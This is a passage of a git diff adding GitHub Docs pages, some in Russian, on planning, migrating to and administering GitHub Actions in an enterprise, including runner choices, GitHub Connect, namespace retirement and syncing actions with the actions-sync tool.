+{% data variables.product.prodname_actions %} workflows require runners.{% ifversion ghec %} You can choose to use {% data variables.product.prodname_dotcom %}-hosted runners or self-hosted runners. {% data variables.product.prodname_dotcom %}-hosted runners are convenient because they are managed by {% data variables.product.company_short %}, who handles maintenance and upgrades for you. However, you may want to consider self-hosted runners if you need to run a workflow that will access resources behind your firewall or you want more control over the resources, configuration, or geographic location of your runner machines. For more information, see "[About {% data variables.product.prodname_dotcom %}-hosted runners](/actions/using-github-hosted-runners/about-github-hosted-runners)" and "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners)."{% else %} You will need to host your own runners by installing the {% data variables.product.prodname_actions %} self-hosted runner application on your own machines. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners)."{% endif %} + +{% ifversion ghec %}If you are using self-hosted runners, you have to decide whether you want to use physical machines, virtual machines, or containers.{% else %}Decide whether you want to use physical machines, virtual machines, or containers for your self-hosted runners.{% endif %} Physical machines will retain remnants of previous jobs, and so will virtual machines unless you use a fresh image for each job or clean up the machines after each job run. If you choose containers, you should be aware that the runner auto-updating will shut down the container, which can cause workflows to fail. You should come up with a solution for this by preventing auto-updates or skipping the command to kill the container. + +You also have to decide where to add each runner. You can add a self-hosted runner to an individual repository, or you can make the runner available to an entire organization or your entire enterprise. Adding runners at the organization or enterprise levels allows sharing of runners, which might reduce the size of your runner infrastructure. You can use policies to limit access to self-hosted runners at the organization and enterprise levels by assigning groups of runners to specific repositories or organizations. For more information, see "[Adding self-hosted runners](/actions/hosting-your-own-runners/adding-self-hosted-runners)" and "[Managing access to self-hosted runners using groups](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups)." + +{% ifversion ghec or ghes %} +You should consider using autoscaling to automatically increase or decrease the number of available self-hosted runners. For more information, see "[Autoscaling with self-hosted runners](/actions/hosting-your-own-runners/autoscaling-with-self-hosted-runners)." +{% endif %} + +Finally, you should consider security hardening for self-hosted runners. For more information, see "[Security hardening for {% data variables.product.prodname_actions %}](/actions/security-guides/security-hardening-for-github-actions#hardening-for-self-hosted-runners)." + +### Storage + +{% data reusables.actions.about-artifacts %} For more information, see "[Storing workflow data as artifacts](/actions/advanced-guides/storing-workflow-data-as-artifacts)." + +{% ifversion actions-caching %}{% data variables.product.prodname_actions %} also has a caching system that you can use to cache dependencies to speed up workflow runs. For more information, see "[Caching dependencies to speed up workflows](/actions/using-workflows/caching-dependencies-to-speed-up-workflows)."{% endif %} + +{% ifversion ghes %} +You must configure external blob storage for workflow artifacts{% ifversion actions-caching %}, caches,{% endif %} and other workflow logs. Decide which supported storage provider your enterprise will use. For more information, see "[Getting started with {% data variables.product.prodname_actions %} for {% data variables.product.product_name %}](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server#external-storage-requirements)." +{% endif %} + +{% ifversion ghec or ghes %} + +You can use policy settings for {% data variables.product.prodname_actions %} to customize the storage of workflow artifacts{% ifversion actions-caching %}, caches,{% endif %} and log retention. For more information, see "[Enforcing policies for {% data variables.product.prodname_actions %} in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise)." + +{% endif %} + +{% ifversion ghec %} +Some storage is included in your subscription, but additional storage will affect your bill. You should plan for this cost. For more information, see "[About billing for {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions/about-billing-for-github-actions)." +{% endif %} + +## Tracking usage + +You should consider making a plan to track your enterprise's usage of {% data variables.product.prodname_actions %}, such as how often workflows are running, how many of those runs are passing and failing, and which repositories are using which workflows. + +{% ifversion ghec %} +You can see basic details of storage and data transfer usage of {% data variables.product.prodname_actions %} for each organization in your enterprise via your billing settings. For more information, see "[Viewing your {% data variables.product.prodname_actions %} usage](/billing/managing-billing-for-github-actions/viewing-your-github-actions-usage#viewing-github-actions-usage-for-your-enterprise-account)." + +For more detailed usage data, you{% else %}You{% endif %} can use webhooks to subscribe to information about workflow jobs and workflow runs. For more information, see "[About webhooks](/developers/webhooks-and-events/webhooks/about-webhooks)." + +Make a plan for how your enterprise can pass the information from these webhooks into a data archiving system. You can consider using "CEDAR.GitHub.Collector", an open source tool that collects and processes webhook data from {% data variables.product.prodname_dotcom %}. For more information, see the [`Microsoft/CEDAR.GitHub.Collector` repository](https://github.com/microsoft/CEDAR.GitHub.Collector/). + +You should also plan how you'll enable your teams to get the data they need from your archiving system. diff --git a/translations/ru-RU/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/migrating-your-enterprise-to-github-actions.md b/translations/ru-RU/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/migrating-your-enterprise-to-github-actions.md new file mode 100644 index 000000000000..08b4e31da6bb --- /dev/null +++ b/translations/ru-RU/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/migrating-your-enterprise-to-github-actions.md @@ -0,0 +1,92 @@ +--- +title: Миграция предприятия на GitHub Actions +shortTitle: Migrate to Actions +intro: 'Узнайте, как спланировать миграцию в {% data variables.product.prodname_actions %} для вашего предприятия из другого поставщика.' +versions: + ghec: '*' + ghes: '*' + ghae: '*' +type: how_to +topics: + - Actions + - Enterprise +ms.openlocfilehash: 332d8af7f1087626509a9c72751882ea11f3072f +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148160303' +--- +## Сведения о миграции предприятия на {% data variables.product.prodname_actions %} + +Чтобы перенести предприятие в {% data variables.product.prodname_actions %} из существующей системы, необходимо спланировать миграцию, выполнить ее и прекратить использование прежней системы. + +В этом руководстве рассматриваются конкретные аспекты миграции. Дополнительные сведения об использовании {% data variables.product.prodname_actions %} на предприятии см. в статье с [вводными сведениями о {% data variables.product.prodname_actions %}](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/introducing-github-actions-to-your-enterprise). + +## Планирование миграции + +Перед началом миграции предприятия в {% data variables.product.prodname_actions %} следует определить, какие рабочие процессы будут перенесены и как эти миграции повлияют на ваши команды, а затем спланировать, как и когда вы будете выполнять миграцию. + +### Привлечение специалистов по миграции + +{% data variables.product.company_short %} может помочь в миграции. Также вы можете приобрести {% data variables.product.prodname_professional_services %}. Контакты для получения дополнительной информации: ваш представитель или {% data variables.contact.contact_enterprise_sales %}. + +### Определение и инвентаризация целевых объектов миграции + +Прежде чем перейти на {% data variables.product.prodname_actions %}, тщательно изучите рабочие процессы, используемые предприятием в существующей системе. + +Во-первых, проведите инвентаризацию существующих рабочих процессов сборки и выпуска на предприятии, собрав сведения о том, какие рабочие процессы активно используются, поэтому их нужно перенести, а какие можно оставить в старой системе. + +Затем изучите различия между текущим поставщиком и {% data variables.product.prodname_actions %}. Это поможет вам оценить все трудности при переносе каждого рабочего процесса и потенциальные различия функций. Дополнительные сведения см. в разделе [Миграция на {% data variables.product.prodname_actions %}](/actions/migrating-to-github-actions). + +С помощью этих сведений вы сможете определить, какие рабочие процессы можно перенести на {% data variables.product.prodname_actions %}. + +### Определение влияния миграции на команду + +Переход на новые инструменты влияет на работу команды. Подумайте, как перемещение рабочего процесса из существующих систем в {% data variables.product.prodname_actions %} повлияет на повседневную работу разработчиков. + +Определите все процессы, интеграции и сторонние инструменты, которые будут затронуты миграцией, и запланируйте все необходимые обновления. + +Подумайте, как миграция может повлиять на соответствие требованиям регуляторов. Например, будут ли имеющиеся средства проверки учетных данных и анализа безопасности работать с {% data variables.product.prodname_actions %} или вам потребуется использовать новые средства? + +Определите шлюзы и проверки в существующей системе и убедитесь, что их можно реализовать с помощью {% data variables.product.prodname_actions %}. + +### Определение и проверка средств миграции + +Средства автоматической миграции могут перевести рабочие процессы предприятия с синтаксиса существующей системы на синтаксис, необходимый для {% data variables.product.prodname_actions %}. Найдите сторонние инструменты или узнайте больше об инструментах, предоставляемых {% data variables.product.company_short %}, — вам поможет ваш представитель или {% data variables.contact.contact_enterprise_sales %}. Например, вы можете использовать {% data variables.product.prodname_actions_importer %} для планирования, области и переноса конвейеров CI в {% data variables.product.prodname_actions %} из различных поддерживаемых служб. Дополнительные сведения см. в разделе [Автоматизация миграции с помощью {% data variables.product.prodname_actions_importer %}](/actions/migrating-to-github-actions/automating-migration-with-github-actions-importer). + +После выбора средства для автоматизации миграции проверьте его, запустив на тестовых рабочих процессах и убедившись в корректности результатов. + +Автоматизированные средства должны перенести большинство рабочих процессов, но часть из них, скорее всего, потребуется переписать вручную. Оцените, какой объем работы нужно будет выполнить вручную. + +### Выбор подхода к миграции + +Определите оптимальный подход к миграции для вашего предприятия. Небольшие команды смогут перенести все свои рабочие процессы сразу с помощью стратегии "rip-and-replace". Крупным предприятиям лучше выбрать итеративный подход. Вы можете выбрать централизованное управление всей миграцией или попросить отдельные команды самостоятельно перенести собственные рабочие процессы. + +Мы рекомендуем итеративный подход, сочетающий в себе активное управление с самообслуживанием. Начните с небольшой группы ранних последователей, которые могут продвигать новые инструменты среди коллег. Выберите несколько рабочих процессов, которые будут отражать всю полноту вашего бизнеса. В сотрудничестве с ранними последователями перенесите эти рабочие процессы в {% data variables.product.prodname_actions %}, выполняя итерацию по мере необходимости. Это даст другим командам уверенность в том, что их рабочие процессы тоже можно будет перенеси. + +Затем предоставьте {% data variables.product.prodname_actions %} всей организации. Предоставьте ресурсы, которые помогут этим командам перенести собственные рабочие процессы в {% data variables.product.prodname_actions %}, и сообщите командам, когда вы прекратите использование существующих систем. + +Наконец, сообщите всем командам, которые по-прежнему используют старые системы, что необходимо выполнить миграцию до указанного срока. Вы можете продемонстрировать успехи других команд, чтобы уверить их в возможности и желательности миграции. + +### Определение расписания миграции + +Выбрав подход к миграции, составьте расписание, описывающее, когда каждая из команд перенесет свои рабочие процессы в {% data variables.product.prodname_actions %}. + +Сначала определите дату завершения миграции. Например, вы можете привязать миграцию к окончанию контракта с текущим поставщиком. + +Затем вместе с командами создайте расписание в соответствии с вашими сроками, но без ущерба для целей команд. Учитывайте темп вашего бизнеса и рабочую нагрузку каждой команды, которая должна будет выполнить миграцию. Работайте с командами, чтобы понять их графики доставки и составить план, позволяющий перенести рабочие процессы за один раз без помех для работы. + +## Миграция на {% data variables.product.prodname_actions %} + +Когда вы будете готовы начать миграцию, преобразуйте существующие рабочие процессы в {% data variables.product.prodname_actions %} с помощью автоматизированных инструментов и вручную. + +Возможно, вам также потребуется сохранить старые артефакты сборки из существующей системы, написав скрипт для архивации артефактов. + +## Прекращение использования существующих систем + +После завершения миграции можно подумать о прекращении использования существующей системы. + +Некоторое время обе системы могут работать параллельно, пока вы не убедитесь в стабильности конфигурации {% data variables.product.prodname_actions %} и отсутствии проблем у разработчиков. + +Наконец, отключите старые системы и убедитесь, что никто на вашем предприятии не сможет включить их обратно. diff --git a/translations/ru-RU/content/admin/github-actions/index.md b/translations/ru-RU/content/admin/github-actions/index.md new file mode 100644 index 000000000000..b8b4bb85c624 --- /dev/null +++ b/translations/ru-RU/content/admin/github-actions/index.md @@ -0,0 +1,26 @@ +--- +title: Управление GitHub Actions для предприятия +intro: 'Включите {% data variables.product.prodname_actions %} в {% ifversion ghae %}{% data variables.product.prodname_ghe_managed %}{% else %}{% data variables.product.prodname_ghe_server %}{% endif %} и обеспечьте управление политиками и параметрами {% data variables.product.prodname_actions %}.' +redirect_from: + - /enterprise/admin/github-actions +versions: + ghec: '*' + ghes: '*' + ghae: '*' +topics: + - Enterprise +children: + - /getting-started-with-github-actions-for-your-enterprise + - /using-github-actions-in-github-ae + - /enabling-github-actions-for-github-enterprise-server + - /managing-access-to-actions-from-githubcom + - /advanced-configuration-and-troubleshooting +shortTitle: Manage GitHub Actions +ms.openlocfilehash: 6a7453caba7702270eee7b51214b38e49c00ceb1 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145120387' +--- +{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} diff --git a/translations/ru-RU/content/admin/github-actions/managing-access-to-actions-from-githubcom/about-using-actions-in-your-enterprise.md b/translations/ru-RU/content/admin/github-actions/managing-access-to-actions-from-githubcom/about-using-actions-in-your-enterprise.md new file mode 100644 index 000000000000..8aa85ea18f75 --- /dev/null +++ b/translations/ru-RU/content/admin/github-actions/managing-access-to-actions-from-githubcom/about-using-actions-in-your-enterprise.md @@ -0,0 +1,74 @@ +--- +title: About using actions in your enterprise +intro: '{% data variables.product.product_name %} includes most {% data variables.product.prodname_dotcom %}-authored actions, and has options for enabling access to other actions from {% data variables.product.prodname_dotcom_the_website %} and {% data variables.product.prodname_marketplace %}.' +redirect_from: + - /enterprise/admin/github-actions/about-using-githubcom-actions-on-github-enterprise-server + - /admin/github-actions/about-using-githubcom-actions-on-github-enterprise-server + - /admin/github-actions/about-using-actions-on-github-enterprise-server + - /admin/github-actions/about-using-actions-in-your-enterprise +versions: + ghes: '*' + ghae: '*' +type: overview +topics: + - Actions + - Enterprise +shortTitle: About actions in your enterprise +--- + +{% data reusables.actions.enterprise-beta %} +{% data reusables.actions.enterprise-github-hosted-runners %} + +## About actions on {% data variables.product.product_name %} + +{% data variables.product.prodname_actions %} workflows can use _actions_, which are individual tasks that you can combine to create jobs and customize your workflow. You can create your own actions, or use and customize actions shared by the {% data variables.product.prodname_dotcom %} community. + +{% data reusables.actions.enterprise-no-internet-actions %} You can restrict your developers to using actions that are stored on {% data variables.location.product_location %}, which includes most official {% data variables.product.company_short %}-authored actions, as well as any actions your developers create. Alternatively, to allow your developers to benefit from the full ecosystem of actions built by industry leaders and the open source community, you can configure access to other actions from {% data variables.product.prodname_dotcom_the_website %}. + +We recommend allowing automatic access to all actions from {% data variables.product.prodname_dotcom_the_website %}. {% ifversion ghes %}However, this does require {% data variables.product.product_name %} to make outbound connections to {% data variables.product.prodname_dotcom_the_website %}. If you don't want to allow these connections, or{% else %}If{% endif %} you want to have greater control over which actions are used on your enterprise, you can manually sync specific actions from {% data variables.product.prodname_dotcom_the_website %}. + +## Official actions bundled with your enterprise instance + +{% data reusables.actions.actions-bundled-with-ghes %} + +The bundled official actions include the following, among others. +- `actions/checkout` +- `actions/upload-artifact` +- `actions/download-artifact` +- `actions/labeler` +- Various `actions/setup-` actions + +To see all the official actions included on your enterprise instance, browse to the `actions` organization on your instance: https://HOSTNAME/actions. + +There is no connection required between {% data variables.location.product_location %} and {% data variables.product.prodname_dotcom_the_website %} to use these actions. + +Each action is a repository in the `actions` organization, and each action repository includes the necessary tags, branches, and commit SHAs that your workflows can use to reference the action. For information on how to update the bundled official actions, see "[Using the latest version of the official bundled actions](/admin/github-actions/using-the-latest-version-of-the-official-bundled-actions)." + +{% note %} + +**Notes:** +- When using setup actions (such as `actions/setup-LANGUAGE`) on {% data variables.product.product_name %} with self-hosted runners, you might need to set up the tools cache on runners that do not have internet access. For more information, see "[Setting up the tool cache on self-hosted runners without internet access](/enterprise/admin/github-actions/setting-up-the-tool-cache-on-self-hosted-runners-without-internet-access)." +- When {% data variables.product.product_name %} is updated, bundled actions are automatically replaced with default versions in the upgrade package. + +{% endnote %} + +## Configuring access to actions on {% data variables.product.prodname_dotcom_the_website %} + +{% data reusables.actions.access-actions-on-dotcom %} + +The recommended approach is to enable automatic access to all actions from {% data variables.product.prodname_dotcom_the_website %}. You can do this by using {% data variables.product.prodname_github_connect %} to integrate {% data variables.product.product_name %} with {% data variables.product.prodname_ghe_cloud %}. For more information, see "[Enabling automatic access to {% data variables.product.prodname_dotcom_the_website %} actions using {% data variables.product.prodname_github_connect %}](/enterprise/admin/github-actions/enabling-automatic-access-to-githubcom-actions-using-github-connect)". + +{% ifversion ghes %} +{% note %} + +**Note:** Before you can configure access to actions on {% data variables.product.prodname_dotcom_the_website %}, you must configure {% data variables.location.product_location %} to use {% data variables.product.prodname_actions %}. For more information, see "[Getting started with {% data variables.product.prodname_actions %} for GitHub Enterprise Server](/admin/github-actions/enabling-github-actions-for-github-enterprise-server/getting-started-with-github-actions-for-github-enterprise-server)." + + +{% endnote %} +{% endif %} + +{% data reusables.actions.self-hosted-runner-networking-to-dotcom %} + +{% data reusables.actions.enterprise-limit-actions-use %} + +Alternatively, if you want stricter control over which actions are allowed in your enterprise, or you do not want to allow outbound connections to {% data variables.product.prodname_dotcom_the_website %}, you can manually download and sync actions onto your enterprise instance using the `actions-sync` tool. For more information, see "[Manually syncing actions from {% data variables.product.prodname_dotcom_the_website %}](/enterprise/admin/github-actions/manually-syncing-actions-from-githubcom)." diff --git a/translations/ru-RU/content/admin/github-actions/managing-access-to-actions-from-githubcom/enabling-automatic-access-to-githubcom-actions-using-github-connect.md b/translations/ru-RU/content/admin/github-actions/managing-access-to-actions-from-githubcom/enabling-automatic-access-to-githubcom-actions-using-github-connect.md new file mode 100644 index 000000000000..79a2892040aa --- /dev/null +++ b/translations/ru-RU/content/admin/github-actions/managing-access-to-actions-from-githubcom/enabling-automatic-access-to-githubcom-actions-using-github-connect.md @@ -0,0 +1,67 @@ +--- +title: Enabling automatic access to GitHub.com actions using GitHub Connect +intro: 'To allow {% data variables.product.prodname_actions %} in your enterprise to use actions from {% data variables.product.prodname_dotcom_the_website %}, you can connect your enterprise instance to {% data variables.product.prodname_ghe_cloud %}.' +permissions: 'Enterprise owners can enable access to all {% data variables.product.prodname_dotcom_the_website %} actions.' +redirect_from: + - /enterprise/admin/github-actions/enabling-automatic-access-to-githubcom-actions-using-github-connect + - /admin/github-actions/enabling-automatic-access-to-githubcom-actions-using-github-connect +versions: + ghes: '*' + ghae: '*' +type: how_to +topics: + - Actions + - Enterprise + - GitHub Connect +shortTitle: Use GitHub Connect for actions +--- + +{% data reusables.actions.enterprise-beta %} +{% data reusables.actions.enterprise-github-hosted-runners %} + +## About automatic access to {% data variables.product.prodname_dotcom_the_website %} actions + +By default, {% data variables.product.prodname_actions %} workflows on {% data variables.product.product_name %} cannot use actions directly from {% data variables.product.prodname_dotcom_the_website %} or [{% data variables.product.prodname_marketplace %}](https://github.com/marketplace?type=actions). To make all actions from {% data variables.product.prodname_dotcom_the_website %} available on your enterprise instance, you can use {% data variables.product.prodname_github_connect %} to integrate {% data variables.product.product_name %} with {% data variables.product.prodname_ghe_cloud %}. + +{% data reusables.actions.self-hosted-runner-networking-to-dotcom %} + +Alternatively, if you want stricter control over which actions are allowed in your enterprise, you can manually download and sync actions onto your enterprise instance using the `actions-sync` tool. For more information, see "[Manually syncing actions from {% data variables.product.prodname_dotcom_the_website %}](/enterprise/admin/github-actions/manually-syncing-actions-from-githubcom)." + +## About resolution for actions using {% data variables.product.prodname_github_connect %} + +{% data reusables.actions.github-connect-resolution %} + +If a user has already created an organization and repository in your enterprise that matches an organization and repository name on {% data variables.product.prodname_dotcom_the_website %}, the repository on your enterprise will be used instead of the {% data variables.product.prodname_dotcom_the_website %} repository. {% ifversion ghae %}A malicious user could take advantage of this behavior to run code as part of a workflow.{% else %}For more information, see "[Automatic retirement of namespaces for actions accessed on {% data variables.product.prodname_dotcom_the_website%}](#automatic-retirement-of-namespaces-for-actions-accessed-on-githubcom)." +{% endif %} + +## Enabling automatic access to all {% data variables.product.prodname_dotcom_the_website %} actions + +Before enabling access to all actions from {% data variables.product.prodname_dotcom_the_website %} for your enterprise, you must{% ifversion ghes %}: +- Configure {% data variables.location.product_location %} to use {% data variables.product.prodname_actions %}. For more information, see "[Getting started with {% data variables.product.prodname_actions %} for GitHub Enterprise Server](/admin/github-actions/enabling-github-actions-for-github-enterprise-server/getting-started-with-github-actions-for-github-enterprise-server)." +- Enable{% else %} enable{% endif %} {% data variables.product.prodname_github_connect %}. For more information, see "[Managing {% data variables.product.prodname_github_connect %}](/admin/configuration/configuring-github-connect/managing-github-connect)." + +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.github-connect-tab %} +1. Under "Users can utilize actions from GitHub.com in workflow runs", use the drop-down menu and select **Enabled**. + ![Drop-down menu to actions from GitHub.com in workflows runs](/assets/images/enterprise/site-admin-settings/enable-marketplace-actions-drop-down-ae.png) +1. {% data reusables.actions.enterprise-limit-actions-use %} + +## Automatic retirement of namespaces for actions accessed on {% data variables.product.prodname_dotcom_the_website %} + +When you enable {% data variables.product.prodname_github_connect %}, users see no change in behavior for existing workflows because {% data variables.product.prodname_actions %} searches {% data variables.location.product_location %} for each action before falling back to {% data variables.product.prodname_dotcom_the_website%}. This ensures that any custom versions of actions your enterprise has created are used in preference to their counterparts on {% data variables.product.prodname_dotcom_the_website%}. + +Automatic retirement of namespaces for actions accessed on {% data variables.product.prodname_dotcom_the_website %} blocks the potential for a man-in-the-middle attack by a malicious user with access to {% data variables.location.product_location %}. When an action on {% data variables.product.prodname_dotcom_the_website %} is used for the first time, that namespace is retired in {% data variables.location.product_location %}. This blocks any user creating an organization and repository in your enterprise that matches that organization and repository name on {% data variables.product.prodname_dotcom_the_website %}. This ensures that when a workflow runs, the intended action is always run. + +After using an action from {% data variables.product.prodname_dotcom_the_website %}, if you want to create an action in {% data variables.location.product_location %} with the same name, first you need to make the namespace for that organization and repository available. + +{% data reusables.enterprise_site_admin_settings.access-settings %} +2. In the left sidebar, under **Site admin** click **Retired namespaces**. +3. Locate the namespace that you want use in {% data variables.location.product_location %} and click **Unretire**. + ![Unretire namespace](/assets/images/enterprise/site-admin-settings/unretire-namespace.png) +4. Go to the relevant organization and create a new repository. + + {% tip %} + + **Tip:** When you unretire a namespace, always create the new repository with that name as soon as possible. If a workflow calls the associated action on {% data variables.product.prodname_dotcom_the_website %} before you create the local repository, the namespace will be retired again. For actions used in workflows that run frequently, you may find that a namespace is retired again before you have time to create the local repository. In this case, you can temporarily disable the relevant workflows until you have created the new repository. + + {% endtip %} diff --git a/translations/ru-RU/content/admin/github-actions/managing-access-to-actions-from-githubcom/index.md b/translations/ru-RU/content/admin/github-actions/managing-access-to-actions-from-githubcom/index.md new file mode 100644 index 000000000000..a76d18a5d83a --- /dev/null +++ b/translations/ru-RU/content/admin/github-actions/managing-access-to-actions-from-githubcom/index.md @@ -0,0 +1,25 @@ +--- +title: Управление доступом к действиям с сайта GitHub.com +intro: 'Управление действиями в {% data variables.product.prodname_dotcom_the_website %} и {% data variables.product.prodname_marketplace %}, которые можно использовать в вашем предприятии.' +redirect_from: + - /enterprise/admin/github-actions/managing-access-to-actions-from-githubcom +versions: + ghes: '*' + ghae: '*' +topics: + - Enterprise +children: + - /about-using-actions-in-your-enterprise + - /enabling-automatic-access-to-githubcom-actions-using-github-connect + - /manually-syncing-actions-from-githubcom + - /using-the-latest-version-of-the-official-bundled-actions + - /setting-up-the-tool-cache-on-self-hosted-runners-without-internet-access +shortTitle: Manage access to actions +ms.openlocfilehash: 080be2c0f08cf3ec7f5a0b8cc3d9220691a9e1e6 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145116680' +--- + diff --git a/translations/ru-RU/content/admin/github-actions/managing-access-to-actions-from-githubcom/manually-syncing-actions-from-githubcom.md b/translations/ru-RU/content/admin/github-actions/managing-access-to-actions-from-githubcom/manually-syncing-actions-from-githubcom.md new file mode 100644 index 000000000000..7e1756c530d8 --- /dev/null +++ b/translations/ru-RU/content/admin/github-actions/managing-access-to-actions-from-githubcom/manually-syncing-actions-from-githubcom.md @@ -0,0 +1,98 @@ +--- +title: Manually syncing actions from GitHub.com +intro: 'For users that need access to actions from {% data variables.product.prodname_dotcom_the_website %}, you can sync specific actions to your enterprise.' +redirect_from: + - /enterprise/admin/github-actions/manually-syncing-actions-from-githubcom + - /admin/github-actions/manually-syncing-actions-from-githubcom +versions: + ghes: '*' + ghae: '*' +type: tutorial +topics: + - Actions + - Enterprise +shortTitle: Manually sync actions +--- + +{% data reusables.actions.enterprise-beta %} +{% data reusables.actions.enterprise-github-hosted-runners %} + +{% data reusables.actions.enterprise-no-internet-actions %} + +{% ifversion ghes or ghae %} + +The recommended approach of enabling access to actions from {% data variables.product.prodname_dotcom_the_website %} is to enable automatic access to all actions. You can do this by using {% data variables.product.prodname_github_connect %} to integrate {% data variables.product.product_name %} with {% data variables.product.prodname_ghe_cloud %}. For more information, see "[Enabling automatic access to {% data variables.product.prodname_dotcom_the_website %} actions using {% data variables.product.prodname_github_connect %}](/enterprise/admin/github-actions/enabling-automatic-access-to-githubcom-actions-using-github-connect)." + +However, if you want stricter control over which actions are allowed in your enterprise, you{% else %}You{% endif %} can follow this guide to use {% data variables.product.company_short %}'s open source [`actions-sync`](https://github.com/actions/actions-sync) tool to sync individual action repositories from {% data variables.product.prodname_dotcom_the_website %} to your enterprise. + +## About the `actions-sync` tool + +The `actions-sync` tool must be run on a machine that can access the {% data variables.product.prodname_dotcom_the_website %} API and your {% data variables.product.product_name %} instance's API. The machine doesn't need to be connected to both at the same time. + +If your machine has access to both systems at the same time, you can do the sync with a single `actions-sync sync` command. If you can only access one system at a time, you can use the `actions-sync pull` and `push` commands. + +The `actions-sync` tool can only download actions from {% data variables.product.prodname_dotcom_the_website %} that are stored in public repositories. + +{% note %} + +**Note:** The `actions-sync` tool is intended for use in systems where {% data variables.product.prodname_github_connect %} is not enabled. If you run the tool on a system with {% data variables.product.prodname_github_connect %} enabled, you may see the error `The repository has been retired and cannot be reused`. This indicates that a workflow has used that action directly on {% data variables.product.prodname_dotcom_the_website %} and the namespace is retired on {% data variables.location.product_location %}. For more information, see "[Automatic retirement of namespaces for actions accessed on {% data variables.product.prodname_dotcom_the_website%}](/admin/github-actions/managing-access-to-actions-from-githubcom/enabling-automatic-access-to-githubcom-actions-using-github-connect#automatic-retirement-of-namespaces-for-actions-accessed-on-githubcom)." + +{% endnote %} + +## Prerequisites + +* Before using the `actions-sync` tool, you must ensure that all destination organizations already exist in your enterprise. The following example demonstrates how to sync actions to an organization named `synced-actions`. For more information, see "[Creating a new organization from scratch](/organizations/collaborating-with-groups-in-organizations/creating-a-new-organization-from-scratch)." +* You must create a {% data variables.product.pat_generic %} on your enterprise that can create and write to repositories in the destination organizations. For more information, see "[Creating a {% data variables.product.pat_generic %}](/github/authenticating-to-github/creating-a-personal-access-token)."{% ifversion ghes %} +* If you want to sync the bundled actions in the `actions` organization on {% data variables.location.product_location %}, you must be an owner of the `actions` organization. + + {% note %} + + **Note:** By default, even site administrators are not owners of the bundled `actions` organization. + + {% endnote %} + + Site administrators can use the `ghe-org-admin-promote` command in the administrative shell to promote a user to be an owner of the bundled `actions` organization. For more information, see "[Accessing the administrative shell (SSH)](/admin/configuration/accessing-the-administrative-shell-ssh)" and "[`ghe-org-admin-promote`](/admin/configuration/command-line-utilities#ghe-org-admin-promote)." + + ```shell + ghe-org-admin-promote -u USERNAME -o actions + ```{% endif %} + +## Example: Using the `actions-sync` tool + +This example demonstrates using the `actions-sync` tool to sync an individual action from {% data variables.product.prodname_dotcom_the_website %} to an enterprise instance. + +{% note %} + +**Note:** This example uses the `actions-sync sync` command, which requires concurrent access to both the {% data variables.product.prodname_dotcom_the_website %} API and your enterprise instance's API from your machine. If you can only access one system at a time, you can use the `actions-sync pull` and `push` commands. For more information, see the [`actions-sync` README](https://github.com/actions/actions-sync#not-connected-instances). + +{% endnote %} + +1. Download and extract the latest [`actions-sync` release](https://github.com/actions/actions-sync/releases) for your machine's operating system. +1. Create a directory to store cache files for the tool. +1. Run the `actions-sync sync` command: + + ```shell + ./actions-sync sync \ + --cache-dir "cache" \ + --destination-token "aabbccddeeffgg" \ + --destination-url "https://my-ghes-instance" \ + --repo-name "actions/stale:synced-actions/actions-stale" + ``` + + The above command uses the following arguments: + + * `--cache-dir`: The cache directory on the machine running the command. + * `--destination-token`: A {% data variables.product.pat_generic %} for the destination enterprise instance. + * `--destination-url`: The URL of the destination enterprise instance. + * `--repo-name`: The action repository to sync. This takes the format of `owner/repository:destination_owner/destination_repository`. + + * The above example syncs the [`actions/stale`](https://github.com/actions/stale) repository to the `synced-actions/actions-stale` repository on the destination enterprise instance. You must create the organization named `synced-actions` in your enterprise before running the above command. + * If you omit `:destination_owner/destination_repository`, the tool uses the original owner and repository name for your enterprise. Before running the command, you must create a new organization in your enterprise that matches the owner name of the action. Consider using a central organization to store the synced actions in your enterprise, as this means you will not need to create multiple new organizations if you sync actions from different owners. + * You can sync multiple actions by replacing the `--repo-name` parameter with `--repo-name-list` or `--repo-name-list-file`. For more information, see the [`actions-sync` README](https://github.com/actions/actions-sync#actions-sync). +1. After the action repository is created in your enterprise, people in your enterprise can use the destination repository to reference the action in their workflows. For the example action shown above: + + ```yaml + uses: synced-actions/actions-stale@v1 + ``` + + For more information, see "[Workflow syntax for GitHub Actions](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepsuses)." diff --git a/translations/ru-RU/content/admin/github-actions/managing-access-to-actions-from-githubcom/setting-up-the-tool-cache-on-self-hosted-runners-without-internet-access.md b/translations/ru-RU/content/admin/github-actions/managing-access-to-actions-from-githubcom/setting-up-the-tool-cache-on-self-hosted-runners-without-internet-access.md new file mode 100644 index 000000000000..2711ad079250 --- /dev/null +++ b/translations/ru-RU/content/admin/github-actions/managing-access-to-actions-from-githubcom/setting-up-the-tool-cache-on-self-hosted-runners-without-internet-access.md @@ -0,0 +1,101 @@ +--- +title: Настройка кэша инструментов для локально размещенных средств выполнения без доступа к Интернету +intro: 'Чтобы использовать включенные действия `actions/setup` для локальных модулей выполнения без доступа к Интернету, необходимо сначала заполнить кэш инструментов средства выполнения тестов для рабочих процессов.' +redirect_from: + - /enterprise/admin/github-actions/setting-up-the-tool-cache-on-self-hosted-runners-without-internet-access + - 